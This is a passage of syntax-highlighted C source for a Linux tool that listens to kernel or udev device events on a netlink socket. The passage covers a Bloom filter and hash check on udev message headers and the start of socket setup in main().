&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tagentsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strchr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sc"&gt;&amp;#39;:&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MurmurHash2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tagentsz&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// Bloom filter impl&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mb"&gt;0b111111&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1ULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;taghash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mask&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tagentsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;tagslen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tagentsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;prop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proplen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;propsz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;proplen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Print out the udev special fields&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Subsystem hash expected %08x actual %08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Subsystem hash %08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;subsystem_hash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_devtype_hash&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DevType hash expected %08x actual %08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_devtype_hash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;DevType hash %08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;devtype_hash&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Bloom filter expected %08x%08x actual %016llx&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;long&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;actual_bloom_filter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Bloom filter %08x%08x&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_hi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;hdr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tag_bloom_lo&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;size_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_sz&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Usage: %s kernel|udev&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;udev_mode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;strcmp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;udev&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;udev_mode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Listening to kernel events...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;Listening to udev events...&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Open netlink socket&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;AF_NETLINK&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOCK_RAW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOCK_CLOEXEC&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NETLINK_KOBJECT_UEVENT&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;perror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;socket(AF_NETLINK)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;netlink fd %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Enable reading creds&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;setsockopt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;nlsock&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SOL_SOCKET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SO_PASSCRED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;one&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;perror&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;setsockopt(SO_PASSCRED)&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Bind netlink socket to events we&amp;#39;re interested in&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;sockaddr_nl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sa_nl&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
